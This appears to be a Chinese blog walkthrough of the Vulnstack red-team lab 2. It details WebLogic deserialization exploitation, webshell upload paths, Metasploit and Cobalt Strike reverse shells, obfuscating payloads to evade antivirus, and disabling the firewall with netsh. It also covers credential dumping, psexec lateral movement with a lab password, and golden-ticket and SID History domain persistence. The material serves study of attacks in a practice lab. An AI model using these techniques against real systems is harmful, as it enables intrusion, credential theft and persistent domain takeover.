ATT&CK红队评估实战靶场（二）

最新推荐文章于 2024-09-21 13:47:52 发布
最新推荐文章于 2024-09-21 13:47:52 发布
阅读量1.8k 收藏 11
点赞数 2
分类专栏： wp 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_53263789/article/details/115282950
版权

前言

第二个靶机来喽，地址：vulunstack

环境配置

大喊一声我淦！！！！！
配个网络配置弄了半天

配置信息

DC
IP：10.10.10.10
OS：Windows 2012(64)
应用：AD域

WEB
IP1：10.10.10.80
IP2：192.168.47.131
OS：Windows 2008(64)
应用：Weblogic 10.3.6MSSQL 2008

PC
IP1：10.10.10.201
IP2：192.168.47.130
OS：Windows 7(32)

攻击机
IP：192.168.47.128
WEB，PC 有360和防火墙

网络配置：

  • 内网默认网段为10.10.10.1/24
    DMZ默认网段为 192.168.111.1/24
    管理员 Administrator / 1qaz@WSX

内网

首先添加一个vm2的内网自定义，设置子网为10.10.10.1/24

当虚拟机开启时，会采用已经设定过的ip地址(必须符合10.10.10开头)

将DC,PC,WEB 设为 vm2 （内网环境）

外网

内网设置好了，外网这样设置

我设置的外网连接方式为NAT

将 攻击机，PC，WEB 外网设置为NAT，为了与kali在同一网段

PC与WEB做修改如下：


需要管理员权限： Administrator / 1qaz@WSX


选择自动获取ip，自动获取DNS


PC :


WEB :

开启web服务

开启WEB的服务：管理员身份运行


Kali访问如下即配置成功

突破边界

端口

Nmap 端口：

发现445 7001 3389 135等

7001开启 weblogic v10.3.6.0

漏洞扫描

AWVS扫描：


显示存在weblogic漏洞：


WeblogicScan 扫描：


攻击面：

  1. 后台爆破
  2. Java反序列化漏洞
    CVE-2017-3506 漏洞存在
    CVE-2019-2725 漏洞存在
    CVE-2019-2729 漏洞存在

端口攻击

1.后台：爆破就算了


2.MSF

1). CVE-2019-2725

exploit/multi/misc/weblogic_deserialize_asyncresponseservice



设置目标为windows：


失败：

2). MS17_010


失败：


漏洞webshell

weblogic漏洞上传木马工具

利用java反序列化利用工具上传木马


Tasklist 查看进程 发现360：


匹配是什么杀软：

木马获取shell

weblogic上传木马路径选择：weblogic上传路径

方法1：把shell写到控制台images目录中:

\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp              //目录上传木马

访问 http://*.*.*.*:7001/console/framework/skins/wlsconsole/images/shell.jsp

方法2：写到uddiexplorer目录中

\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp   //目录写入木马，

访问 http://*.*.*.*:7001/uddiexplorer/shell.jsp

方法3：在应用安装目录中

\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp   //目录写入木马，

访问 http://*.*.*.*:7001/项目名/shell.jsp

这里选择第一种

冰蝎

上传冰蝎的jsp马


成功连接：


systeminfo查看一下 主机信息，补丁等


反弹shell ：

根据提示操作即可

msf set payload java/meterpreter/reverse_tcp


MSF马

想用msf的马反弹给msf失败：


进行免杀：
bamcompile免杀

生成php后门：


免杀以下转成exe文件：


监听上线 Php/meterpreter: 感觉不好用

cs马

第一次使用cobalt strike：

设置监听：



冰蝎上传木马：


Godzilla(哥斯拉)



反弹shell： jmeterpreter

weblogic CVE EXP

利用攻击脚本




感觉以上的meterpreter都不好使

windows后门免杀处理

去exploit-db下载对应cve-2019-2725 exp


生成一个powershell的木马：


然后进行免杀：Invoke-Obfuscation


注：我免杀之后字符太长了，以至于后面运行时出错，在经过免杀后应该是能bypass360的，所以后面把靶机的360暂时关了，成功获取权限，至于免杀，会再学习的

将exploit的内容替换为木马的内容：


设置监听：


运行exploit：


没反应：


原来是设置payload的问题，改为这样：去掉 x64


获得meterpreter：


顺便关掉防火墙：

netsh advfirewall set allprofiles state off


这里我有个疑问，就是meterpreter的类型不同会对操作有什么影响，比如以上的 phpmeterpreter，javameterpreter，windowsmeterpreter ?

内网渗透

msf派生cs shell

Msf命令注入设置为cs所监听的也就是本机：


Cs设置监听后上线：

信息收集

凭证收集

hashdump
logonpasswords


域内信息

1). 本机信息收集

 Systeminfo  //查看操作系统信息
 Ipconfig /all   //查询本机ip段，所在域等
 Whoami   //查看当前用户权限
 Net user	//查看本地用户
 Net localgroup administrators	//查看本地管理员组(通常 包含域用户)



得知web服务器为Windows server 2008 有两个网段

2). 域内信息收集

net config workstation     // 查看当前计算机名，全名，用户名，系统版本，工作站域，登陆的域等
net view /domain              // 查看域
net time /domain           // 主域服务器会同时作为时间服务器
net user /domain      // 查看域用户
net group /domain     // 查看域内用户组列表
net group "domain computers" /domain      // 查看域内的机器
net group "domain controllers" /domain          // 查看域控制器组
net group "Enterprise Admins" /domain    // 查看域管理员组




域名为de1ay.com 存在两台域主机web和pc 域控为DCde1ay.com主机名为DC，域管理员为Administrator

横向移动

路由代理

内网扫描

arp扫描网段：

run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24


扫描存活主机：

use auxiliary/scanner/netbios/nbname


这就奇怪了明明有10.10.10.201但是存活主机没有，后来知道是 PC 防火墙开启的原因

版本扫描

 use auxiliary/scanner/smb/smb_version

dc为 windows2012


Pc为win7：

尝试攻击

永恒之蓝

DC直接蓝屏

psexec

可用cs的，也可用msf的

CS

对目标网段进行端口存活探测，因为是psexec传递登录
仅需探测445端口

得到10.10.10.201和10.10.10.10 :


新建监听：



用获取过的密码登录：


上线：


PC 一直上不去：

MSF

use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set smbuser administrator
set smbpass 1qaz@WSX



域控算是拿下

IPC$

这个与第一个靶机最后共享c盘一样

关于PC

Pc一直出现问题，存在工作站与域之间不信任关系，然后我退域进域一直没有解决问题，所以就放弃pc了

域控权限维持

以下方法借鉴参考中的公众号

Golden Ticket(黄金票据)

黄金票据可以在拥有普通域用户权限和KRBTGT账号的哈希的情况下用来获取域管理员权限，上面已经获得域控的 system 权限了，还可以使用黄金票据做权限维持，即使日后当域控权限掉了，也可以再通过域内其他任意机器伪造票据重新获取最高权限。

黄金票据的前提：

1.域名称
2.域的SID值
3.域的KRBTGT账户NTLM密码哈希
4.伪造用户名


在域控获得KRBTGT账户NTLM密码哈希和SID

在这里插入图片描述

SID: S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
KRBTGT: 82dfc71b72a11ef37d663047bc2088fb

填上对应参数 :

票据伪造成功


执行命令：

SID History域后门

在Windows中，每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。

如果将A域中的域用户迁移到B域中，那么在B域中该用户的SID会随之改变，进而影响迁移后用户的权限，导致迁移后的用户不能访问本来可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限，即如果迁移后用户的SID改变了，系统会将其原来的SID添加到迁移后用户的SID History属性中，使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。使用mimikatz，可以将SID History属性添加到域中任意用户的SID History属性中。在实战中，如果获得了域管理员权限，则可以将SID History作为实现持久化的方法。

首先我们在域控制器上新建一个恶意用户“whoami”：

net user whoami Liu78963 /add

然后像之前一样用shellcode_inject启动mimikatz，然后执行如下命令，将域管理员Administrator的SID添加到恶意域用户 whoami 的SID History属性中

privilege::debug
sid::patch
sid::add /sam:whoami /new:Administrator   //将Administrator的SID添加到whoami的SID History属性中

注意：在使用mimikatz注入SID之前，需要使用 sid::patch 命令修复NTDS服务，否则无法将高权限的SID注入低权限用户的SID History属性；mimikatz在2.1版本后，将 misc:addsid 模块添加到了 sid:add 模块下。

然后，我们可以用powershell查看一下这个whoami恶意用户的SID History：

load powershell
powershell_shell
Import-Module activedirectory
Get-ADUser whoami -Properties sidhistory
Get-ADUser administrator -Properties sidhistory


如上图所示，whoami用户的SID History和administrator域管理员的sid相同

那么现在我们的whoami用户便拥有了administrator域管理员的权限，并可以用该用户随时登录域控主机。

参考

红队评估 ATT&CK-02

ATT&CK实战系列（二）琢磨篇

ATT&CK实战系列二（CS域渗透）

实战 ｜ 记一次Vulnstack靶场内网渗透（三）

Blazing-Angel
关注
专栏目录
渗透系列：ATT&CK红队评估（红日靶场二）
weixin_54626591的博客
01-22 312
ATT&CK红队评估（红日靶场二）
ATT&CK红队评估（红日靶场二）
weixin_45682839的博客
04-11 2902
靶场搭建 靶场下载地址：漏洞详情 一共有三台主机：WEB、DC、PC WEB主机有两张网卡，第一张网卡NAT，第二张网卡选择一个仅主机模式的网络（vmvare可以通过编辑里的虚拟网络编辑器进行添加或修改网络）这里我选择的是创建的仅主机vmnet15网络 DC主机只有一张网卡，选择和WEB第二章网卡一样的vmnet15网络 PC有两张网卡，配置和WEB主机一样，第一张网卡NAT，第二张网卡vmnet15 网络设置完成后进行开机 WEB主机以administrator第一次登录时没
【免杀】CS免杀——ps1免杀
最新发布
qinjilll的博客
09-21 1014
❤️🔥🎉。
ATT&CK红队评估实战靶场二
weixin_51151498的博客
09-25 400
域渗透
ATT&CK红队评估实战靶场(二)
qq_45951598的博客
03-09 1246
文章目录网段扫描 靶场下载地址：http://vulnstack.qiyuanxuetang.net/vuln/detail/3/ DC IP：10.10.10.10 OS：Windows 2012 应用：AD域 WEB（初始的状态默认密码无法登录，切换用户 de1ay/1qaz@WSX 登录进去） IP1：10.10.10.80 IP2：192.168.111.80 OS：Windows 2008 应用：Weblogic 10.3.6 MSSQL 2008 PC IP1：10.10.10.201 IP2
记ATT&CK实战系列-红队实战（二） 红日靶场
shulao2010的博客
05-21 825
如何通过一个简单的web漏洞，打开通往内网的大门
ATT&CK红队评估（红日靶场四）
weixin_45682839的博客
04-28 5650
ATT&CK红队评估（红日靶场四）通关攻略，涉及知识包括： Struts2漏洞利用、phpmyadmin getshell、tomcat 漏洞利用、ms17_010、docker逃逸、ms14_068、ssh密钥利用、流量转发、横向移动、内网渗透等。
ATT&CK红队评估（红日靶场五）
weixin_45682839的博客
04-30 1725
ATT&CK红队评估（红日靶场五）通关攻略，涉及知识包括：ThinkPHP5.0 RCE漏洞、内网渗透、横向移动、psexec使用、代理建立，matespolit、cobaltstrike等工具使用。
ATT&CK红队评估（红日靶场三）
weixin_45682839的博客
04-25 3568
ATT&CK红队评估（红日靶场三）通关，拿下所有五台主机，包括：Centos、Ubantu、Windows xp、Windows 2008、Windows 2012
ATK&CK红队评估靶场 (二)
m0_58177121的博客
08-21 593
相关环境配置 WEB服务器：Windows server 2008 NAT模式+仅主机模式（需要以用户de1aly登录，本地登录时账户administrator没有密码，需要重新创建密码1qaz@WSX） WEB机的C:\Oracle\Middleware\user_projects\domains\base_domain\bin下有一个startWeblogic的批处理，管理员身份运行它即可，管理员账号密码：Administrator/1qaz@WSX WEB机和PC机：计算机右键->管理-&
ATT&CK红队评估（红日靶场2）CS篇
qq_61343559的博客
09-07 492
红日靶场2练习
Windows系统——ATT&CK红队评估实战靶场(二)——CS方式
qq_44029310的博客
09-04 1992
本文涉及知识点有：环境搭建，nmap使用，weblogic反序列化漏洞利用，内网信息收集，防火墙相关，MS15-051和MS14-058提权，mimikatz抓取密码和凭证，fscan使用，SMB beacon横向移动相关，psexec横向移动相关，cobaltstrike的使用等。
ATT&CK红队评估(二)
qq_52579508的博客
06-19 677
ATT&CK红队评估(二)
ATT&CK红队评估实战靶场(一)
m0_58177121的博客
08-21 625
描述 红队实战系列，主要以真实企业环境为实例搭建一系列靶场，通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&amp;CK攻击链路进行搭建，开成完整闭环。后续也会搭建真实APT实战环境，从实战中成长。关于环境可以模拟出各种各样实战路线，目前给出作者实战的一套攻击实战路线如下，虚拟机所有统一密码：hongrisec<span class="label label-primary">@2019</span>： 一、环境搭建 1.环境搭建测试 2.信息收集
【精选】ATK&CK红队评估实战靶场二 (超详细过程思路)
人若无名，便可专心练剑
12-05 320
目标主机所在的网络存在域环境，域名为de1ay.com，存在两台域主机WEB和PC，域控制器为DC.de1ay.com，主机名为DC，域管理员为AdministratorWEB:192.168.111.129 内网：10.10.10.80PC：内网：10.10.10.201DC：内网：10.10.10.10。
Vulnstack----1、ATT&CK红队评估实战靶场一
七天
08-01 1506
3、敏感目录：http://192.168.144.132/phpMyadmin。4、发现yxcms:http://192.168.144.132/yxcms。192.168.52.143:存在MS17-010。192.168.52.138:存在MS17-010。域用户：dev1、root-tvi862ubeh。win7内网ip：192.168.52.143。1、ip地址：192.168.144.132。内网ip地址：192.168.52.143。内网网段：192.168.52.0/24。
ATT&CK实战系列-红队评估（二）WP
h1nt的博客
08-15 822
环境搭建 靶场下载地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/3/ 根据平台介绍，虚拟机的密码统一为1qaz@WSX 将虚拟机导入后更改WEB靶机的IPV4地址为你所使用的NAT网段中的任意地址 这里注意可能一开始WEB靶机的账号密码不对，方法是使用Administrator账号登录，然后改回来即可 在目录 C:\Oracle\Middleware\user_projects\domains\base_domain 下有startWeblog
ATT&CK红队评估实战靶场-1(全网最细)
lwwzyy
12-20 4591
声明：该系列文章首发于公众号：纁玄安全，转载请注明出处！本公众号所分享内容仅用于网安爱好者之间的技术讨论，所有渗透及工具的使用都需获取授权，禁止用于违法途径，否则需自行承担，本公众号及作者不承担相应的后果。 ATT&CK红队评估实战靶场-1 目录： 1. 环境配置 插播一点网络配置的姿势 2. 实战 2.1 信息收集 2.2 web站点探测 2.3 getshell 3 漏洞 3.1 目录遍历漏洞 3.2 存储型XSS 4. ..
ATT\\\\&CK红队评估实战靶场四
08-16
ATT&CK红队评估实战靶场四是一个实战训练场景，其中使用了phpmyadmin来利用数据库日志写入马来获取会话。具体的方法和之前的红日靶场一类似，你可以去查看相关链接了解更多细节。在攻击机要访问52网段的资源时，可以使用session 4作为下一跳进行路由设置。可以通过routeprint命令查看路由表，并使用routeadd命令添加相应的路由。此外，可以通过将SSH公钥添加到/home/ubuntu/.ssh/authorized_keys文件来实现免密登录到目标机器。具体命令是将SSH公钥追加到该文件中。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ATT&CK红队评估（红日靶场四）](https://blog.csdn.net/weixin_45682839/article/details/124485070)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 50%"] - *2* [ATT&CK红队评估实战靶场-1(全网最细)](https://blog.csdn.net/qq_40638006/article/details/122033546)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值